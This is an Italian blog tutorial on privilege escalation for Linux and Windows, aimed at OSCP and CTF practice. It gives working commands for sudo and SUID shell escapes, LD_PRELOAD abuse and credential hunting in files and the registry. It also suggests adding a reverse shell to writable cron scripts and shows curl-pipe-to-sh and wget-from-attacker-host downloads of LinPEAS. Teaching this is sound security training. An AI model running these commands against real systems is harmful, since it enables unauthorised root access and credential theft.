Privilege Escalation: Guida Completa Linux e Windows 2026
7 settembre 2026 · di Pentevo
Il privilege escalation è la fase del penetration testing che segue l'accesso iniziale: hai compromesso il sistema con un utente a basso privilegio e ora devi salire a root (Linux) o SYSTEM/Administrator (Windows). Quasi ogni macchina di OSCP, HackTheBox e CTF richiede questa capacità.
Perché il privilege escalation è critico
Un foothold con un utente non privilegiato è spesso di valore limitato per un attaccante reale. Con root o SYSTEM si può:
- Leggere tutti i file del sistema (credenziali, chiavi private, database)
- Installare backdoor persistenti
- Spostarsi lateralmente sulla rete
- Compromettere altri sistemi usando le credenziali raccolte
Privilege Escalation su Linux
1. sudo -l
Il controllo più semplice: quali comandi può eseguire l'utente corrente come sudo senza password?
sudo -l
# Output esempio:
# (ALL) NOPASSWD: /usr/bin/python3
Se trovi un binario in sudo -l, cerca immediatamente su GTFOBins (gtfobins.github.io) come sfruttarlo:
# Esempio: python3 in sudo
sudo python3 -c 'import os; os.system("/bin/bash")'
# → shell root
2. Binari SUID/SGID
Binari con il bit SUID si eseguono con i permessi del proprietario (spesso root):
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
Cerca i risultati su GTFOBins. Binari SUID comuni sfruttabili: find, vim, bash, less, cp, nmap (versioni vecchie).
# Esempio: find con SUID
find . -exec /bin/bash -p \; -quit
# → shell con euid=0
3. Cron jobs
Script eseguiti periodicamente come root possono essere modificati se sono scrivibili:
cat /etc/crontab
ls -la /etc/cron.*
# Cerca script scrivibili dall'utente corrente
find /etc/cron* -writable -type f 2>/dev/null
Se trovi un cron job che esegue uno script scrivibile: aggiungi una reverse shell o chmod u+s /bin/bash.
4. Variabili d'ambiente PATH e LD_PRELOAD
sudo LD_PRELOAD=/tmp/malicious.so /usr/bin/programma_consentito
Se sudo è configurato con env_keep+=LD_PRELOAD, puoi caricare una libreria condivisa malevola.
5. Password e credenziali
find / -name "*.conf" -readable 2>/dev/null | xargs grep -l "password" 2>/dev/null
find / -name ".bash_history" -readable 2>/dev/null
cat /etc/passwd | grep -v "nologin\|false"
6. Kernel exploits
uname -a # Versione kernel
# Cerca CVE per quella versione su exploit-db.com
# Esempi famosi: DirtyCow, Dirty Pipe (CVE-2022-0847)
Attenzione: I kernel exploit possono destabilizzare il sistema. Usali solo se non hai altre opzioni.
LinPEAS: automazione del processo
# Trasferisci su target:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# oppure
wget http://TUO_IP/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
LinPEAS colora i risultati: rosso/giallo = alta probabilità di vettore utile. Cerca le sezioni:
- Sudo version e sudo rules
- SUID binaries
- Writable directories
- Cron jobs
- Network information
Privilege Escalation su Windows
1. Controllo informazioni base
whoami /all # Utente, gruppi, privilegi
net user # Tutti gli utenti locali
net localgroup administrators # Membri del gruppo admin
systeminfo # Patch level, versione OS
2. Servizi con path non quotati
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
Se un servizio ha un path con spazi non quotato (es. C:\Program Files\My App\service.exe), Windows cerca C:\Program.exe prima — inserendo un eseguibile lì si ottiene SYSTEM.
3. Permessi deboli sui servizi
# Con accesschk.exe (Sysinternals)
accesschk.exe -wuvc Everyone *
accesschk.exe -wuvc "Authenticated Users" *
Se puoi modificare il binario di un servizio che gira come SYSTEM → sostituisci il binario con una shell.
4. AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Se entrambe le chiavi sono impostate a 1: puoi installare un file .msi come SYSTEM.
5. Credenziali salvate e file di configurazione
cmdkey /list # Credenziali salvate in Windows
dir /s /b *pass* *cred* *vnc* # File con "pass" nel nome
reg query HKLM /f password /t REG_SZ /s # Password nel registro
6. Token Impersonation (SeImpersonatePrivilege)
Se hai SeImpersonatePrivilege (comune per account di servizio IIS, SQL Server):
whoami /priv
# Se vedi: SeImpersonatePrivilege → Enabled
Strumenti: PrintSpoofer, GodPotato, RoguePotato → escalation a SYSTEM quasi garantita.
WinPEAS: automazione Windows
# Su Kali: scarica winpeas.exe
# Trasferisci su target e lancia:
.\winpeas.exe
Cerca le sezioni evidenziate in rosso e arancione.
GTFOBins e LOLBAS
- GTFOBins (gtfobins.github.io) — binari Unix sfruttabili per privilege escalation, shell escape, file read/write
- LOLBAS (lolbas-project.github.io) — equivalente Windows: "Living Off the Land Binaries And Scripts"
Sono referenze essenziali. Se trovi un binario SUID o in sudo, cercalo subito su GTFOBins.
Checklist rapida per OSCP
Linux:
- sudo -l → GTFOBins
- find SUID → GTFOBins
- Cron jobs scrivibili
- Versione kernel → CVE
- File di configurazione con credenziali
- Processi in esecuzione (pspy)
- NFS shares (no_root_squash)
Windows:
- whoami /priv → SeImpersonatePrivilege?
- Servizi con path non quotati
- AlwaysInstallElevated
- Credenziali nel registro/file
- Patch level → CVE Windows recenti
- Scheduled tasks scrivibili
Pratica queste tecniche nel tuo laboratorio home lab e sulle macchine di HackTheBox. Approfondisci con i corsi gratuiti Pentevo Academy.
Domande frequenti
Cos'è il privilege escalation?
Il privilege escalation (escalazione dei privilegi) è il processo con cui un attaccante, dopo aver ottenuto accesso iniziale a un sistema con permessi limitati, sfrutta vulnerabilità o misconfigurazioni per ottenere permessi più elevati — tipicamente da utente normale a root/SYSTEM. È una fase critica in quasi ogni penetration test.
Qual è la differenza tra vertical e horizontal privilege escalation?
Vertical escalation: si sale di livello di privilegio (da user a root, da user a admin). Horizontal escalation: si accede agli account di altri utenti con lo stesso livello di privilegio (da user A a user B). Entrambi sono importanti nel pentesting — l'horizontal spesso porta a credenziali che permettono il vertical.
Quali strumenti usare per il privilege escalation?
Su Linux: LinPEAS (automazione completa), sudo -l (permessi sudo), find SUID (binari con permessi elevati), pspy (processi in esecuzione), GTFOBins (riferimento per binari sfruttabili). Su Windows: WinPEAS, PowerUp, winPEAS.exe, SharpUp, BloodHound per AD.
Il privilege escalation è nel programma dell'esame OSCP?
Sì, è uno degli argomenti centrali dell'OSCP. Ogni macchina richiede di passare da low-privilege user a root/SYSTEM. OffSec valuta sia l'esecuzione che la documentazione dei vettori di privesc trovati. Saper fare privilege escalation manuale (senza tool automatici dove possibile) è essenziale.
Letture correlate
Attacchi Active Directory 2026: Kerberoasting, BloodHound, Pass-the-Hash
Guida agli attacchi Active Directory in italiano: Kerberoasting, Pass-the-Hash, BloodHound, DCSync, Golden Ticket. Strumenti Impacket e CrackMapExec.
ToolsPassword Cracking 2026: Hashcat, John the Ripper e Wordlist per Pentester
Guida completa al password cracking per penetration testing: Hashcat e John the Ripper spiegati, tipi di hash, wordlist e regole — solo per uso autorizzato.
ToolsMigliori Tool AI per Penetration Testing 2026: Guida Completa
I migliori strumenti AI per il penetration testing nel 2026: confronto per funzionalità, prezzi, casi d'uso. Da Pentevo a Intruder, tutti valutati.
ToolsI Migliori Tool per l'Ethical Hacking nel 2026: La Lista Completa
I migliori strumenti per l'ethical hacking nel 2026: Kali Linux, Metasploit, Burp Suite, Nmap e molto altro. Guida pratica per principianti e professionisti.
Metti in pratica questi concetti
Pentevo Academy trasforma questi concetti in lezioni guidate, video e quiz — gratis.
Inizia a imparare gratis